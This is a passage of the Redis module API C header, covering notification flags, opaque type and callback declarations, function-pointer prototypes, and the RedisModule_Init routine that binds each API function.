/* The instance has Maxmemory set */
#define REDISMODULE_CTX_FLAGS_MAXMEMORY 0x0100
/* Maxmemory is set and has an eviction policy that may delete keys */
#define REDISMODULE_CTX_FLAGS_EVICT 0x0200
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED) /* A */
/* A special pointer that we can use between the core and the module to signal
* field deletion, and that is impossible to be a valid pointer. */
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
/* Error messages. */
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
#define REDISMODULE_NOT_USED(V) ((void) V)
/* ------------------------- End of common defines ------------------------ */
#ifndef REDISMODULE_CORE
typedef long long mstime_t;
/* Incomplete structures for compiler checks but opaque access. */
typedef struct RedisModuleCtx RedisModuleCtx;
typedef struct RedisModuleKey RedisModuleKey;
typedef struct RedisModuleString RedisModuleString;
typedef struct RedisModuleCallReply RedisModuleCallReply;
typedef struct RedisModuleIO RedisModuleIO;
typedef struct RedisModuleType RedisModuleType;
typedef struct RedisModuleDigest RedisModuleDigest;
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
typedef int (*RedisModuleCmdFunc) (RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
typedef int (*RedisModuleNotificationFunc) (RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
typedef void (*RedisModuleTypeFreeFunc)(void *value);
#define REDISMODULE_TYPE_METHOD_VERSION 1
typedef struct RedisModuleTypeMethods {
uint64_t version;
RedisModuleTypeLoadFunc rdb_load;
RedisModuleTypeSaveFunc rdb_save;
RedisModuleTypeRewriteFunc aof_rewrite;
RedisModuleTypeMemUsageFunc mem_usage;
RedisModuleTypeDigestFunc digest;
RedisModuleTypeFreeFunc free;
} RedisModuleTypeMethods;
#define REDISMODULE_GET_API(name) \
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
#define REDISMODULE_API_FUNC(x) (*x)
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
/* Experimental APIs */
#ifdef REDISMODULE_EXPERIMENTAL_API
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(void*), long long timeout_ms);
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
#endif
/* This is included inline inside each Redis module. */
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
void *getapifuncptr = ((void**)ctx)[0];
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
REDISMODULE_GET_API(Alloc);
REDISMODULE_GET_API(Calloc);
REDISMODULE_GET_API(Free);
REDISMODULE_GET_API(Realloc);
REDISMODULE_GET_API(Strdup);
REDISMODULE_GET_API(CreateCommand);
REDISMODULE_GET_API(SetModuleAttribs);
REDISMODULE_GET_API(IsModuleNameBusy);
REDISMODULE_GET_API(WrongArity);
REDISMODULE_GET_API(ReplyWithLongLong);
REDISMODULE_GET_API(ReplyWithError);
REDISMODULE_GET_API(ReplyWithSimpleString);
REDISMODULE_GET_API(ReplyWithArray);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(ReplyWithStringBuffer);
REDISMODULE_GET_API(ReplyWithString);
REDISMODULE_GET_API(ReplyWithNull);
REDISMODULE_GET_API(ReplyWithCallReply);
REDISMODULE_GET_API(ReplyWithDouble);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(GetSelectedDb);
REDISMODULE_GET_API(SelectDb);
REDISMODULE_GET_API(OpenKey);
REDISMODULE_GET_API(CloseKey);
REDISMODULE_GET_API(KeyType);
REDISMODULE_GET_API(ValueLength);
REDISMODULE_GET_API(ListPush);
REDISMODULE_GET_API(ListPop);
REDISMODULE_GET_API(StringToLongLong);
REDISMODULE_GET_API(StringToDouble);
REDISMODULE_GET_API(Call);
REDISMODULE_GET_API(CallReplyProto);
REDISMODULE_GET_API(FreeCallReply);
REDISMODULE_GET_API(CallReplyInteger);
REDISMODULE_GET_API(CallReplyType);
REDISMODULE_GET_API(CallReplyLength);
REDISMODULE_GET_API(CallReplyArrayElement);
REDISMODULE_GET_API(CallReplyStringPtr);
REDISMODULE_GET_API(CreateStringFromCallReply);
REDISMODULE_GET_API(CreateString);
REDISMODULE_GET_API(CreateStringFromLongLong);
REDISMODULE_GET_API(CreateStringFromString);
REDISMODULE_GET_API(CreateStringPrintf);
REDISMODULE_GET_API(FreeString);
REDISMODULE_GET_API(StringPtrLen);
REDISMODULE_GET_API(AutoMemory);
REDISMODULE_GET_API(Replicate);
REDISMODULE_GET_API(ReplicateVerbatim);
REDISMODULE_GET_API(DeleteKey);
REDISMODULE_GET_API(UnlinkKey);
REDISMODULE_GET_API(StringSet);
REDISMODULE_GET_API(StringDMA);
REDISMODULE_GET_API(StringTruncate);
REDISMODULE_GET_API(GetExpire);
REDISMODULE_GET_API(SetExpire);
REDISMODULE_GET_API(ZsetAdd);
REDISMODULE_GET_API(ZsetIncrby);
REDISMODULE_GET_API(ZsetScore);
REDISMODULE_GET_API(ZsetRem);
REDISMODULE_GET_API(ZsetRangeStop);
REDISMODULE_GET_API(ZsetFirstInScoreRange);
REDISMODULE_GET_API(ZsetLastInScoreRange);
REDISMODULE_GET_API(ZsetFirstInLexRange);
REDISMODULE_GET_API(ZsetLastInLexRange);
REDISMODULE_GET_API(ZsetRangeCurrentElement);
REDISMODULE_GET_API(ZsetRangeNext);
REDISMODULE_GET_API(ZsetRangePrev);
REDISMODULE_GET_API(ZsetRangeEndReached);
REDISMODULE_GET_API(HashSet);
REDISMODULE_GET_API(HashGet);
REDISMODULE_GET_API(IsKeysPositionRequest);
REDISMODULE_GET_API(KeyAtPos);
REDISMODULE_GET_API(GetClientId);
REDISMODULE_GET_API(GetContextFlags);
REDISMODULE_GET_API(PoolAlloc);
REDISMODULE_GET_API(CreateDataType);
REDISMODULE_GET_API(ModuleTypeSetValue);
REDISMODULE_GET_API(ModuleTypeGetType);
REDISMODULE_GET_API(ModuleTypeGetValue);
REDISMODULE_GET_API(SaveUnsigned);
REDISMODULE_GET_API(LoadUnsigned);
REDISMODULE_GET_API(SaveSigned);
REDISMODULE_GET_API(LoadSigned);
REDISMODULE_GET_API(SaveString);
REDISMODULE_GET_API(SaveStringBuffer);
REDISMODULE_GET_API(LoadString);
REDISMODULE_GET_API(LoadStringBuffer);
REDISMODULE_GET_API(SaveDouble);
REDISMODULE_GET_API(LoadDouble);
REDISMODULE_GET_API(SaveFloat);
REDISMODULE_GET_API(LoadFloat);
REDISMODULE_GET_API(EmitAOF);
REDISMODULE_GET_API(Log);
REDISMODULE_GET_API(LogIOError);
REDISMODULE_GET_API(StringAppendBuffer);
REDISMODULE_GET_API(RetainString);
REDISMODULE_GET_API(StringCompare);
REDISMODULE_GET_API(GetContextFromIO);
REDISMODULE_GET_API(Milliseconds);
REDISMODULE_GET_API(DigestAddStringBuffer);
REDISMODULE_GET_API(DigestAddLongLong);
REDISMODULE_GET_API(DigestEndSequence);
#ifdef REDISMODULE_EXPERIMENTAL_API
REDISMODULE_GET_API(GetThreadSafeContext);
REDISMODULE_GET_API(FreeThreadSafeContext);
REDISMODULE_GET_API(ThreadSafeContextLock);
REDISMODULE_GET_API(ThreadSafeContextUnlock);
REDISMODULE_GET_API(BlockClient);
REDISMODULE_GET_API(UnblockClient);
REDISMODULE_GET_API(IsBlockedReplyRequest);
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
REDISMODULE_GET_API(GetBlockedClientPrivateData);
REDISMODULE_GET_API(AbortBlock);
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
#endif
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
return REDISMODULE_OK;
}
#else
/* Things only defined for the modules core, not exported to modules
* including this file. */
#define RedisModuleString robj
#endif /* REDISMODULE_CORE */
#endif /* REDISMOUDLE_H */